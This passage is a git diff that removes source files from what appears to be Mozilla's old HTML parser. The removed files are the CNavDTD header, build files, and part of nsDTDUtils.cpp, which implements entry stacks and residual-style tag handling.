--- a/parser/htmlparser/src/CNavDTD.h
+++ /dev/null
@@ -1,373 +0,0 @@
-/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
-/* vim: set sw=2 ts=2 et tw=78: */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-/**
- * MODULE NOTES:
- *
- * NavDTD is an implementation of the nsIDTD interface.
- * In particular, this class captures the behaviors of the original
- * Navigator parser productions.
- *
- * This DTD, like any other in NGLayout, provides a few basic services:
- * - First, the DTD collaborates with the Parser class to convert plain
- * text into a sequence of HTMLTokens.
- * - Second, the DTD describes containment rules for known elements.
- * - Third the DTD controls and coordinates the interaction between the
- * parsing system and content sink. (The content sink is the interface
- * that serves as a proxy for content model).
- * - Fourth the DTD maintains an internal style-stack to handle residual (leaky)
- * style tags.
- *
- * You're most likely working in this class file because
- * you want to add or change a behavior inherent in this DTD. The remainder
- * of this section will describe what you need to do to affect the kind of
- * change you want in this DTD.
- *
- * RESIDUAL-STYLE HANDLNG:
- * There are a number of ways to represent style in an HTML document.
- * 1) explicit style tags (<B>, <I> etc)
- * 2) implicit styles (like those implicit in <Hn>)
- * 3) CSS based styles
- *
- * Residual style handling results from explicit style tags that are
- * not closed. Consider this example: <p>text <b>bold </p>
- * When the <p> tag closes, the <b> tag is NOT automatically closed.
- * Unclosed style tags are handled by the process we call residual-style
- * tag handling.
- *
- * There are two aspects to residual style tag handling. The first is the
- * construction and managing of a stack of residual style tags. The
- * second is the automatic emission of residual style tags onto leaf content
- * in subsequent portions of the document.This step is necessary to propagate
- * the expected style behavior to subsequent portions of the document.
- *
- * Construction and managing the residual style stack is an inline process that
- * occurs during the model building phase of the parse process. During the model-
- * building phase of the parse process, a content stack is maintained which tracks
- * the open container hierarchy. If a style tag(s) fails to be closed when a normal
- * container is closed, that style tag is placed onto the residual style stack. If
- * that style tag is subsequently closed (in most contexts), it is popped off the
- * residual style stack -- and are of no further concern.
- *
- * Residual style tag emission occurs when the style stack is not empty, and leaf
- * content occurs. In our earlier example, the <b> tag "leaked" out of the <p>
- * container. Just before the next leaf is emitted (in this or another container) the
- * style tags that are on the stack are emitted in succession. These same residual
- * style tags get closed automatically when the leaf's container closes, or if a
- * child container is opened.
- *
- *
- */
-#ifndef NS_NAVHTMLDTD__
-#define NS_NAVHTMLDTD__
-
-#include "nsIDTD.h"
-#include "nsISupports.h"
-#include "nsHTMLTags.h"
-#include "nsDeque.h"
-#include "nsParserCIID.h"
-#include "nsDTDUtils.h"
-#include "nsParser.h"
-#include "nsCycleCollectionParticipant.h"
-
-class nsIHTMLContentSink;
-class nsIParserNode;
-class nsDTDContext;
-class nsEntryStack;
-class nsITokenizer;
-class nsCParserNode;
-class nsTokenAllocator;
-
-/***************************************************************
- Now the main event: CNavDTD.
-
- This not so simple class performs all the duties of token
- construction and model building. It works in conjunction with
- an nsParser.
- ***************************************************************/
-
-#ifdef _MSC_VER
-#pragma warning( disable : 4275 )
-#endif
-
-class CNavDTD : public nsIDTD
-{
-#ifdef _MSC_VER
-#pragma warning( default : 4275 )
-#endif
-
-public:
- /**
- * Common constructor for navdtd. You probably want to call
- * NS_NewNavHTMLDTD().
- */
- CNavDTD();
- virtual ~CNavDTD();
-
- /**
- * This method is offered publically for the sole use from
- * nsParser::ParseFragment. In general, you should prefer to use methods
- * that are directly on nsIDTD, since those will be guaranteed to do the
- * right thing.
- *
- * @param aNode The parser node that contains the token information for
- * this tag.
- * @param aTag The actual tag that is being opened (should correspond to
- * aNode.
- * @param aStyleStack The style stack that aNode might be a member of
- * (usually null).
- */
- nsresult OpenContainer(const nsCParserNode *aNode,
- eHTMLTags aTag,
- nsEntryStack* aStyleStack = nullptr);
-
- NS_DECL_CYCLE_COLLECTING_ISUPPORTS
- NS_DECL_NSIDTD
- NS_DECL_CYCLE_COLLECTION_CLASS(CNavDTD)
-
-private:
- /**
- * This method is called to determine whether or not a tag
- * of one type can contain a tag of another type.
- *
- * @param aParent Tag of parent container
- * @param aChild Tag of child container
- * @return true if parent can contain child
- */
- bool CanPropagate(eHTMLTags aParent,
- eHTMLTags aChild,
- int32_t aParentContains);
-
- /**
- * This method gets called to determine whether a given
- * child tag can be omitted by the given parent.
- *
- * @param aParent Parent tag being asked about omitting given child
- * @param aChild Child tag being tested for omittability by parent
- * @param aParentContains Can be 0,1,-1 (false,true, unknown)
- * XXX should be int32_t, not bool
- * @return true if given tag can be omitted
- */
- bool CanOmit(eHTMLTags aParent,
- eHTMLTags aChild,
- int32_t& aParentContains);
-
- /**
- * Looking at aParent, try to see if we can propagate from aChild to
- * aParent. If aParent is a TR tag, then see if we can start at TD instead
- * of at aChild.
- *
- * @param aParent Tag type of parent
- * @param aChild Tag type of child
- * @return true if closure was achieved -- otherwise false
- */
- bool ForwardPropagate(nsString& aSequence,
- eHTMLTags aParent,
- eHTMLTags aChild);
-
- /**
- * Given aParent that does not contain aChild, starting with aChild's
- * first root tag, try to find aParent. If we can reach aParent simply by
- * going up each first root tag, then return true. Otherwise, we could not
- * propagate from aChild up to aParent, so return false.
- *
- * @param aParent Tag type of parent
- * @param aChild Tag type of child
- * @return true if closure was achieved -- other false
- */
- bool BackwardPropagate(nsString& aSequence,
- eHTMLTags aParent,
- eHTMLTags aChild) const;
-
- /**
- * Attempt forward and/or backward propagation for the given child within
- * the current context vector stack. And actually open the required tags.
- *
- * @param aParent The tag we're trying to open this element inside of.
- * @param aChild Type of child to be propagated.
- */
- void CreateContextStackFor(eHTMLTags aParent, eHTMLTags aChild);
-
- /**
- * Ask if a given container is open anywhere on its stack
- *
- * @param id of container you want to test for
- * @return TRUE if the given container type is open -- otherwise FALSE
- */
- bool HasOpenContainer(eHTMLTags aContainer) const;
-
- /**
- * This method allows the caller to determine if a any member
- * in a set of tags is currently open.
- *
- * @param aTagSet A set of tags you care about.
- * @return true if any of the members of aTagSet are currently open.
- */
- bool HasOpenContainer(const eHTMLTags aTagSet[], int32_t aCount) const;
-
- /**
- * Accessor that retrieves the tag type of the topmost item on the DTD's
- * tag stack.
- *
- * @return The tag type (may be unknown)
- */
- eHTMLTags GetTopNode() const;
-
- /**
- * Finds the topmost occurrence of given tag within context vector stack.
- *
- * @param tag to be found
- * @return index of topmost tag occurrence -- may be -1 (kNotFound).
- */
- int32_t LastOf(eHTMLTags aTagSet[], int32_t aCount) const;
-
- nsresult HandleToken(CToken* aToken);
-
- /**
- * This method gets called when a start token has been
- * encountered in the parse process. If the current container
- * can contain this tag, then add it. Otherwise, you have
- * two choices: 1) create an implicit container for this tag
- * to be stored in
- * 2) close the top container, and add this to
- * whatever container ends up on top.
- *
- * @param aToken -- next (start) token to be handled
- * @return Whether or not we should block the parser.
- */
- nsresult HandleStartToken(CToken* aToken);
-
- /**
- * This method gets called when a start token has been
- * encountered in the parse process. If the current container
- * can contain this tag, then add it. Otherwise, you have
- * two choices: 1) create an implicit container for this tag
- * to be stored in
- * 2) close the top container, and add this to
- * whatever container ends up on top.
- *
- * @param aToken Next (start) token to be handled.
- * @param aChildTag The tag corresponding to aToken.
- * @param aNode CParserNode representing this start token
- * @return A potential request to block the parser.
- */
- nsresult HandleDefaultStartToken(CToken* aToken, eHTMLTags aChildTag,
- nsCParserNode *aNode);
- nsresult HandleEndToken(CToken* aToken);
- nsresult HandleEntityToken(CToken* aToken);
- nsresult HandleCommentToken(CToken* aToken);
- nsresult HandleAttributeToken(CToken* aToken);
- nsresult HandleProcessingInstructionToken(CToken* aToken);
- nsresult HandleDocTypeDeclToken(CToken* aToken);
- nsresult BuildNeglectedTarget(eHTMLTags aTarget, eHTMLTokenTypes aType);
-
- nsresult OpenHTML(const nsCParserNode *aNode);
- nsresult OpenBody(const nsCParserNode *aNode);
-
- /**
- * The special purpose methods automatically close
- * one or more open containers.
- * @return error code - 0 if all went well.
- */
- nsresult CloseContainer(const eHTMLTags aTag, bool aMalformed);
- nsresult CloseContainersTo(eHTMLTags aTag, bool aClosedByStartTag);
- nsresult CloseContainersTo(int32_t anIndex, eHTMLTags aTag,
- bool aClosedByStartTag);
- nsresult CloseResidualStyleTags(const eHTMLTags aTag,
- bool aClosedByStartTag);
-
- /**
- * Causes leaf to be added to sink at current vector pos.
- * @param aNode is leaf node to be added.
- * @return error code - 0 if all went well.
- */
- nsresult AddLeaf(const nsIParserNode *aNode);
- nsresult AddHeadContent(nsIParserNode *aNode);
-
- /**
- * This set of methods is used to create and manage the set of
- * transient styles that occur as a result of poorly formed HTML
- * or bugs in the original navigator.
- *
- * @param aTag -- represents the transient style tag to be handled.
- * @return error code -- usually 0
- */
- nsresult OpenTransientStyles(eHTMLTags aChildTag,
- bool aCloseInvalid = true);
- void PopStyle(eHTMLTags aTag);
-
- nsresult PushIntoMisplacedStack(CToken* aToken)
- {
- NS_ENSURE_ARG_POINTER(aToken);
- aToken->SetNewlineCount(0); // Note: We have already counted the newlines for these tokens
-
- mMisplacedContent.Push(aToken);
- return NS_OK;
- }
-
-protected:
-
- nsresult CollectAttributes(nsIParserNode* aNode,eHTMLTags aTag,int32_t aCount);
-
- /**
- * This gets called before we've handled a given start tag.
- * It's a generic hook to let us do pre processing.
- *
- * @param aToken contains the tag in question
- * @param aTag is the tag itself.
- * @param aNode is the node (tag) with associated attributes.
- * @return NS_OK if we should continue, a failure code otherwise.
- */
- nsresult WillHandleStartTag(CToken* aToken,eHTMLTags aChildTag,nsIParserNode& aNode);
- nsresult DidHandleStartTag(nsIParserNode& aNode,eHTMLTags aChildTag);
-
- /**
- * This method gets called when a start token has been encountered that
- * the parent wants to omit. It stashes it in the current element if that
- * element accepts such misplaced tokens.
- *
- * @param aToken Next (start) token to be handled
- * @param aChildTag id of the child in question
- * @param aParent id of the parent in question
- * @param aNode CParserNode representing this start token
- */
- void HandleOmittedTag(CToken* aToken, eHTMLTags aChildTag,
- eHTMLTags aParent, nsIParserNode *aNode);
- nsresult HandleSavedTokens(int32_t anIndex);
- nsresult HandleKeyGen(nsIParserNode *aNode);
- bool IsAlternateTag(eHTMLTags aTag);
- bool IsBlockElement(int32_t aTagID, int32_t aParentID) const;
- bool IsInlineElement(int32_t aTagID, int32_t aParentID) const;
-
- nsDeque mMisplacedContent;
-
- nsCOMPtr<nsIHTMLContentSink> mSink;
- nsTokenAllocator* mTokenAllocator;
- nsDTDContext* mBodyContext;
- nsDTDContext* mTempContext;
- bool mCountLines;
- nsITokenizer* mTokenizer; // weak
-
- nsString mFilename;
- nsString mScratch; //used for various purposes; non-persistent
- nsCString mMimeType;
-
- nsNodeAllocator mNodeAllocator;
- nsDTDMode mDTDMode;
- eParserDocType mDocType;
- eParserCommands mParserCommand; //tells us to viewcontent/viewsource/viewerrors...
-
- int32_t mLineNumber;
- int32_t mOpenMapCount;
- int32_t mHeadContainerPosition;
-
- uint16_t mFlags;
-};
-
-#endif
-
-
-
diff --git a/parser/htmlparser/src/Makefile.in b/parser/htmlparser/src/Makefile.in
deleted file mode 100644
index b25bc6528..000000000
--- a/parser/htmlparser/src/Makefile.in
+++ /dev/null
@@ -1,22 +0,0 @@
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-DEPTH = @DEPTH@
-topsrcdir = @top_srcdir@
-srcdir = @srcdir@
-VPATH = @srcdir@
-
-include $(DEPTH)/config/autoconf.mk
-
-EXPORT_LIBRARY = 1
-IS_COMPONENT = 1
-MODULE_NAME = nsParserModule
-LIBXUL_LIBRARY = 1
-
-
-SHARED_LIBRARY_LIBS = \
- $(DEPTH)/parser/xml/src/$(LIB_PREFIX)saxp.$(LIB_SUFFIX) \
- $(NULL)
-
-include $(topsrcdir)/config/rules.mk
diff --git a/parser/htmlparser/src/moz.build b/parser/htmlparser/src/moz.build
deleted file mode 100644
index 69442948e..000000000
--- a/parser/htmlparser/src/moz.build
+++ /dev/null
@@ -1,30 +0,0 @@
-# -*- Mode: python; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 40 -*-
-# vim: set filetype=python:
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-MODULE = 'htmlparser'
-
-CPP_SOURCES += [
- 'CNavDTD.cpp',
- 'CParserContext.cpp',
- 'nsDTDUtils.cpp',
- 'nsElementTable.cpp',
- 'nsExpatDriver.cpp',
- 'nsHTMLEntities.cpp',
- 'nsHTMLTags.cpp',
- 'nsHTMLTokenizer.cpp',
- 'nsHTMLTokens.cpp',
- 'nsParser.cpp',
- 'nsParserModule.cpp',
- 'nsParserMsgUtils.cpp',
- 'nsParserNode.cpp',
- 'nsParserService.cpp',
- 'nsScanner.cpp',
- 'nsScannerString.cpp',
- 'nsToken.cpp',
-]
-
-LIBRARY_NAME = 'htmlpars'
-
diff --git a/parser/htmlparser/src/nsDTDUtils.cpp b/parser/htmlparser/src/nsDTDUtils.cpp
deleted file mode 100644
index a159dadf3..000000000
--- a/parser/htmlparser/src/nsDTDUtils.cpp
+++ /dev/null
@@ -1,985 +0,0 @@
-/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
-/* vim: set ts=2 sw=2 et tw=80: */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-
-#include "nsIAtom.h"
-#include "nsDTDUtils.h"
-#include "CNavDTD.h"
-#include "nsIParserNode.h"
-#include "nsParserNode.h"
-#include "nsIChannel.h"
-#include "nsIServiceManager.h"
-#include "nsUnicharUtils.h"
-
-/**************************************************************************************
- A few notes about how residual style handling is performed:
-
- 1. The style stack contains nsTagEntry elements.
- 2. Every tag on the containment stack can have it's own residual style stack.
- 3. When a style leaks, it's mParent member is set to the level on the stack where
- it originated. A node with an mParent of 0 is not opened on tag stack,
- but is open on stylestack.
- 4. An easy way to tell that a container on the element stack is a residual style tag
- is that it's use count is >1.
-
- **************************************************************************************/
-
-
-/**
- * Default constructor
- * @update harishd 04/04/99
- * @update gess 04/22/99
- */
-nsEntryStack::nsEntryStack() {
-
- MOZ_COUNT_CTOR(nsEntryStack);
-
- mCapacity=0;
- mCount=0;
- mEntries=0;
-}
-
-/**
- * Default destructor
- * @update harishd 04/04/99
- * @update gess 04/22/99
- */
-nsEntryStack::~nsEntryStack() {
-
- MOZ_COUNT_DTOR(nsEntryStack);
-
- if(mEntries) {
- //add code here to recycle the node if you have one...
- delete [] mEntries;
- mEntries=0;
- }
-
- mCount=mCapacity=0;
-}
-
-/**
- * Release all objects in the entry stack
- */
-void
-nsEntryStack::ReleaseAll(nsNodeAllocator* aNodeAllocator)
-{
- NS_ASSERTION(aNodeAllocator,"no allocator? - potential leak!");
-
- if(aNodeAllocator) {
- NS_ASSERTION(mCount >= 0,"count should not be negative");
- while(mCount > 0) {
- nsCParserNode* node=this->Pop();
- IF_FREE(node,aNodeAllocator);
- }
- }
-}
-
-/**
- * Resets state of stack to be empty.
- * @update harishd 04/04/99
- */
-void nsEntryStack::Empty(void) {
- mCount=0;
-}
-
-
-/**
- *
- * @update gess 04/22/99
- */
-void nsEntryStack::EnsureCapacityFor(int32_t aNewMax,int32_t aShiftOffset) {
- if(mCapacity<aNewMax){
-
- const int kDelta=16;
-
- int32_t theSize = kDelta * ((aNewMax / kDelta) + 1);
- nsTagEntry* temp=new nsTagEntry[theSize];
- mCapacity=theSize;
-
- if(temp){
- int32_t index=0;
- for(index=0;index<mCount;++index) {
- temp[aShiftOffset+index]=mEntries[index];
- }
- if(mEntries) delete [] mEntries;
- mEntries=temp;
- }
- else{
- //XXX HACK! This is very bad! We failed to get memory.
- }
- } //if
-}
-
-/**
- *
- * @update gess 04/22/99
- */
-void nsEntryStack::Push(nsCParserNode* aNode,
- nsEntryStack* aStyleStack,
- bool aRefCntNode)
-{
- if(aNode) {
- EnsureCapacityFor(mCount+1);
- mEntries[mCount].mTag = (eHTMLTags)aNode->GetNodeType();
- if (aRefCntNode) {
- aNode->mUseCount++;
- mEntries[mCount].mNode = const_cast<nsCParserNode*>(aNode);
- IF_HOLD(mEntries[mCount].mNode);
- }
- mEntries[mCount].mParent=aStyleStack;
- mEntries[mCount++].mStyles=0;
- }
-}
-
-void nsEntryStack::PushTag(eHTMLTags aTag)
-{
- EnsureCapacityFor(mCount + 1);
- mEntries[mCount].mTag = aTag;
- mEntries[mCount].mParent = nullptr;
- mEntries[mCount].mStyles = nullptr;
- ++mCount;
-}
-
-
-/**
- * This method inserts the given node onto the front of this stack
- *
- * @update gess 11/10/99
- */
-void nsEntryStack::PushFront(nsCParserNode* aNode,
- nsEntryStack* aStyleStack,
- bool aRefCntNode)
-{
- if(aNode) {
- if(mCount<mCapacity) {
- int32_t index=0;
- for(index=mCount;index>0;index--) {
- mEntries[index]=mEntries[index-1];
- }
- }
- else {
- EnsureCapacityFor(mCount+1,1);
- }
- mEntries[0].mTag = (eHTMLTags)aNode->GetNodeType();
- if (aRefCntNode) {
- aNode->mUseCount++;
- mEntries[0].mNode = const_cast<nsCParserNode*>(aNode);
- IF_HOLD(mEntries[0].mNode);
- }
- mEntries[0].mParent=aStyleStack;
- mEntries[0].mStyles=0;
- ++mCount;
- }
-}
-
-/**
- *
- * @update gess 11/10/99
- */
-void nsEntryStack::Append(nsEntryStack *aStack) {
- if(aStack) {
-
- int32_t theCount=aStack->mCount;
-
- EnsureCapacityFor(mCount+aStack->mCount,0);
-
- int32_t theIndex=0;
- for(theIndex=0;theIndex<theCount;++theIndex){
- mEntries[mCount]=aStack->mEntries[theIndex];
- mEntries[mCount++].mParent=0;
- }
- }
-}
-
-/**
- * This method removes the node for the given tag
- * from anywhere within this entry stack, and shifts
- * other entries down.
- *
- * NOTE: It's odd to be removing an element from the middle
- * of a stack, but it's necessary because of how MALFORMED
- * html can be.
- *
- * anIndex: the index within the stack of the tag to be removed
- * aTag: the id of the tag to be removed
- * @update gess 02/25/00
- */
-nsCParserNode* nsEntryStack::Remove(int32_t anIndex,
- eHTMLTags aTag)
-{
- nsCParserNode* result = 0;
- if (0 < mCount && anIndex < mCount){
- result = mEntries[anIndex].mNode;
- if (result)
- result->mUseCount--;
- int32_t theIndex = 0;
- mCount -= 1;
- for( theIndex = anIndex; theIndex < mCount; ++theIndex){
- mEntries[theIndex] = mEntries[theIndex+1];
- }
- mEntries[mCount].mNode = 0;
- mEntries[mCount].mStyles = 0;
- nsEntryStack* theStyleStack = mEntries[anIndex].mParent;
- if (theStyleStack) {
- //now we have to tell the residual style stack where this tag
- //originated that it's no longer in use.
- uint32_t scount = theStyleStack->mCount;
-#ifdef DEBUG_mrbkap
- NS_ASSERTION(scount != 0, "RemoveStyles has a bad style stack");
-#endif
- nsTagEntry *theStyleEntry = theStyleStack->mEntries;
- for (uint32_t sindex = scount-1;; --sindex) {
- if (theStyleEntry->mTag == aTag) {
- // This tells us that the style is not open at any level.
- theStyleEntry->mParent = nullptr;
- break;
- }
- if (sindex == 0) {
-#ifdef DEBUG_mrbkap
- NS_ERROR("Couldn't find the removed style on its parent stack");
-#endif
- break;
- }
- ++theStyleEntry;
- }
- }
- }
- return result;
-}
-
-/**
- * Pops an entry from this style stack. If the entry has a parent stack, it
- * updates the entry so that we know not to try to remove it from the parent
- * stack since it's no longer open.
- */
-nsCParserNode* nsEntryStack::Pop(void)
-{
- nsCParserNode* result = 0;
- if (0 < mCount) {
- result = mEntries[--mCount].mNode;
- if (result)
- result->mUseCount--;
- mEntries[mCount].mNode = 0;
- mEntries[mCount].mStyles = 0;
- nsEntryStack* theStyleStack = mEntries[mCount].mParent;
- if (theStyleStack) {
- //now we have to tell the residual style stack where this tag
- //originated that it's no longer in use.
- uint32_t scount = theStyleStack->mCount;
-
- // XXX If this NS_ENSURE_TRUE fails, it means that the style stack was
- // empty before we were removed.
-#ifdef DEBUG_mrbkap
- NS_ASSERTION(scount != 0, "preventing a potential crash.");
-#endif
- NS_ENSURE_TRUE(scount != 0, result);
-
- nsTagEntry *theStyleEntry = theStyleStack->mEntries;
- for (uint32_t sindex = scount - 1;; --sindex) {
- if (theStyleEntry->mTag == mEntries[mCount].mTag) {
- // This tells us that the style is not open at any level
- theStyleEntry->mParent = nullptr;
- break;
- }
- if (sindex == 0) {
-#ifdef DEBUG_mrbkap
- NS_ERROR("Couldn't find the removed style on its parent stack");
-#endif
- break;
- }
- ++theStyleEntry;
- }
- }
- }
- return result;
-}
-
-/**
- *
- * @update harishd 04/04/99
- * @update gess 04/21/99
- */
-eHTMLTags nsEntryStack::First() const
-{
- eHTMLTags result=eHTMLTag_unknown;
- if(0<mCount){
- result=mEntries[0].mTag;
- }
- return result;
-}
-
-/**
- *
- * @update harishd 04/04/99
- * @update gess 04/21/99
- */
-nsCParserNode* nsEntryStack::NodeAt(int32_t anIndex) const
-{
- nsCParserNode* result=0;
- if((0<mCount) && (anIndex<mCount)) {
- result=mEntries[anIndex].mNode;
- }
- return result;
-}
-
-/**
- *
- * @update harishd 04/04/99
- * @update gess 04/21/99
- */
-eHTMLTags nsEntryStack::TagAt(int32_t anIndex) const
-{
- eHTMLTags result=eHTMLTag_unknown;
- if((0<mCount) && (anIndex<mCount)) {
- result=mEntries[anIndex].mTag;
- }
- return result;
-}
-
-/**
- *
- * @update gess 04/21/99
- */
-nsTagEntry* nsEntryStack::EntryAt(int32_t anIndex) const
-{
- nsTagEntry *result=0;
- if((0<mCount) && (anIndex<mCount)) {
- result=&mEntries[anIndex];
- }
- return result;
-}
-
-
-/**
- *
- * @update harishd 04/04/99
- * @update gess 04/21/99
- */
-eHTMLTags nsEntryStack::operator[](int32_t anIndex) const
-{
- eHTMLTags result=eHTMLTag_unknown;
- if((0<mCount) && (anIndex<mCount)) {
- result=mEntries[anIndex].mTag;
- }
- return result;
-}
-
-
-/**
- *
- * @update harishd 04/04/99
- * @update gess 04/21/99
- */
-eHTMLTags nsEntryStack::Last(void) const
-{
- eHTMLTags result=eHTMLTag_unknown;
- if(0<mCount) {
- result=mEntries[mCount-1].mTag;
- }
- return result;
-}
-
-nsTagEntry*
-nsEntryStack::PopEntry()
-{
- nsTagEntry* entry = EntryAt(mCount-1);
- this->Pop();
- return entry;
-}
-
-void nsEntryStack::PushEntry(nsTagEntry* aEntry,
- bool aRefCntNode)
-{
- if (aEntry) {
- EnsureCapacityFor(mCount+1);
- mEntries[mCount].mNode = aEntry->mNode;
- mEntries[mCount].mTag = aEntry->mTag;
- mEntries[mCount].mParent = aEntry->mParent;
- mEntries[mCount].mStyles = aEntry->mStyles;
- if (aRefCntNode && mEntries[mCount].mNode) {
- mEntries[mCount].mNode->mUseCount++;
- IF_HOLD(mEntries[mCount].mNode);
- }
- mCount++;
- }
-}
-
-/***************************************************************
- Now define the dtdcontext class
- ***************************************************************/
-
-
-/**
- *
- * @update gess 04.21.2000
- */
-nsDTDContext::nsDTDContext() : mStack()
-{
- MOZ_COUNT_CTOR(nsDTDContext);
- mResidualStyleCount=0;
- mContextTopIndex=-1;
- mTokenAllocator=0;
- mNodeAllocator=0;
-
-#ifdef DEBUG
- memset(mXTags,0,sizeof(mXTags));
-#endif
-}
-
-/**
- *
- * @update gess9/10/98
- */
-nsDTDContext::~nsDTDContext()
-{
- MOZ_COUNT_DTOR(nsDTDContext);
-}
-
-
-/**
- *
- * @update gess7/9/98
- */
-bool nsDTDContext::HasOpenContainer(eHTMLTags aTag) const {
- int32_t theIndex=mStack.LastOf(aTag);
- return bool(-1<theIndex);
-}
-
-/**
- *
- * @update gess7/9/98
- */
-void nsDTDContext::Push(nsCParserNode* aNode,
- nsEntryStack* aStyleStack,
- bool aRefCntNode) {
- if(aNode) {
-#ifdef DEBUG
- eHTMLTags theTag = (eHTMLTags)aNode->GetNodeType();
- int size = mStack.mCount;
- if (size < eMaxTags)
- mXTags[size] = theTag;
-#endif
- mStack.Push(aNode, aStyleStack, aRefCntNode);
- }
-}
-
-void nsDTDContext::PushTag(eHTMLTags aTag)
-{
-#ifdef DEBUG
- if (mStack.mCount < eMaxTags) {
- mXTags[mStack.mCount] = aTag;
- }
-#endif
-
- mStack.PushTag(aTag);
-}
-
-nsTagEntry*
-nsDTDContext::PopEntry()
-{
- int32_t theSize = mStack.mCount;
- if(0<theSize) {
-#ifdef DEBUG
- if (theSize <= eMaxTags)
- mXTags[theSize-1]=eHTMLTag_unknown;
-#endif
- return mStack.PopEntry();
- }
- return 0;
-}
-
-void nsDTDContext::PushEntry(nsTagEntry* aEntry,
- bool aRefCntNode)
-{
-#ifdef DEBUG
- int size=mStack.mCount;
- if(size< eMaxTags && aEntry)
- mXTags[size]=aEntry->mTag;
-#endif
- mStack.PushEntry(aEntry, aRefCntNode);
-}
-
-/* This method will move the top entries, in the entry-stack, into dest context.
- * @param aDest - Destination context for the entries.
- * @param aCount - Number of entries, on top of the entry-stack, to be moved.
- */
-void
-nsDTDContext::MoveEntries(nsDTDContext& aDest,
- int32_t aCount)
-{
- NS_ASSERTION(aCount > 0 && mStack.mCount >= aCount, "cannot move entries");
- if (aCount > 0 && mStack.mCount >= aCount) {
- while (aCount) {
- aDest.PushEntry(&mStack.mEntries[--mStack.mCount], false);
-#ifdef DEBUG
- if (mStack.mCount < eMaxTags) {
- mXTags[mStack.mCount] = eHTMLTag_unknown;
- }
-#endif
- --aCount;
- }
- }
-}
-
-/**
- * @update gess 11/11/99,
- * harishd 04/04/99
- */
-nsCParserNode* nsDTDContext::Pop(nsEntryStack *&aChildStyleStack) {
-
- int32_t theSize=mStack.mCount;
- nsCParserNode* result=0;
-
- if(0<theSize) {
-
-#ifdef DEBUG
- if ((theSize>0) && (theSize <= eMaxTags))
- mXTags[theSize-1]=eHTMLTag_unknown;
-#endif
-
-
- nsTagEntry* theEntry=mStack.EntryAt(mStack.mCount-1);
- aChildStyleStack=theEntry->mStyles;
-
- result=mStack.Pop();
- theEntry->mParent=0;
- }
-
- return result;
-}
-
-/**
- *
- * @update harishd 04/07/00
- */
-
-nsCParserNode* nsDTDContext::Pop() {
- nsEntryStack *theTempStyleStack=0; // This has no use here...
- return Pop(theTempStyleStack);
-}
-
-/**
- *
- * @update gess7/9/98
- */
-eHTMLTags nsDTDContext::First(void) const {
- return mStack.First();
-}
-
-/**
- *
- * @update gess7/9/98
- */
-eHTMLTags nsDTDContext::TagAt(int32_t anIndex) const {
- return mStack.TagAt(anIndex);
-}
-
-/**
- *
- * @update gess7/9/98
- */
-nsTagEntry* nsDTDContext::LastEntry(void) const {
- return mStack.EntryAt(mStack.mCount-1);
-}
-
-/**
- *
- * @update gess7/9/98
- */
-eHTMLTags nsDTDContext::Last() const {
- return mStack.Last();
-}
-
-
-/**
- *
- * @update gess7/9/98
- */
-nsEntryStack* nsDTDContext::GetStylesAt(int32_t anIndex) const {
- nsEntryStack* result=0;
-
- if(anIndex<mStack.mCount){
- nsTagEntry* theEntry=mStack.EntryAt(anIndex);
- if(theEntry) {
- result=theEntry->mStyles;
- }
- }
- return result;
-}
-
-
-/**
- *
- * @update gess 04/28/99
- */
-void nsDTDContext::PushStyle(nsCParserNode* aNode){
-
- nsTagEntry* theEntry=mStack.EntryAt(mStack.mCount-1);
- if(theEntry ) {
- nsEntryStack* theStack=theEntry->mStyles;
- if(!theStack) {
- theStack=theEntry->mStyles=new nsEntryStack();
- }
- if(theStack) {
- theStack->Push(aNode);
- ++mResidualStyleCount;
- }
- } //if
-}
-
-
-/**
- * Call this when you have an EntryStack full of styles
- * that you want to push at this level.
- *
- * @update gess 04/28/99
- */
-void nsDTDContext::PushStyles(nsEntryStack *aStyles){
-
- if(aStyles) {
- nsTagEntry* theEntry=mStack.EntryAt(mStack.mCount-1);
- if(theEntry ) {
- nsEntryStack* theStyles=theEntry->mStyles;
- if(!theStyles) {
- theEntry->mStyles=aStyles;
-
- uint32_t scount=aStyles->mCount;
- uint32_t sindex=0;
-
- theEntry=aStyles->mEntries;
- for(sindex=0;sindex<scount;++sindex){
- theEntry->mParent=0; //this tells us that the style is not open at any level
- ++theEntry;
- ++mResidualStyleCount;
- } //for
-
- }
- else {
- theStyles->Append(aStyles);
- // Delete aStyles since it has been copied to theStyles...
- delete aStyles;
- aStyles=0;
- }
- } //if(theEntry )
- else if(mStack.mCount==0) {
- // If you're here it means that we have hit the rock bottom
- // ,of the stack, and there's no need to handle anymore styles.
- // Fix for bug 29048
- IF_DELETE(aStyles,mNodeAllocator);
- }
- }//if(aStyles)
-}
-
-
-/**
- *
- * @update gess 04/28/99
- */
-nsCParserNode* nsDTDContext::PopStyle(void){
- nsCParserNode *result=0;
-
- nsTagEntry *theEntry=mStack.EntryAt(mStack.mCount-1);
- if(theEntry && (theEntry->mNode)) {
- nsEntryStack* theStyleStack=theEntry->mParent;
- if(theStyleStack){
- result=theStyleStack->Pop();
- mResidualStyleCount--;
- }
- } //if
- return result;
-}
-
-/**
- *
- * @update gess 04/28/99
- */
-nsCParserNode* nsDTDContext::PopStyle(eHTMLTags aTag){
-
- int32_t theLevel=0;
- nsCParserNode* result=0;
-
- for(theLevel=mStack.mCount-1;theLevel>0;theLevel--) {
- nsEntryStack *theStack=mStack.mEntries[theLevel].mStyles;
- if(theStack) {
- if(aTag==theStack->Last()) {
- result=theStack->Pop();
- mResidualStyleCount--;
- break; // Fix bug 50710 - Stop after finding a style.
- } else {
- // NS_ERROR("bad residual style entry");
- }
- }
- }
-
- return result;
-}
-
-/**
- *
- * This is similar to popstyle, except that it removes the
- * style tag given from anywhere in the style stack, and
- * not just at the top.
- *
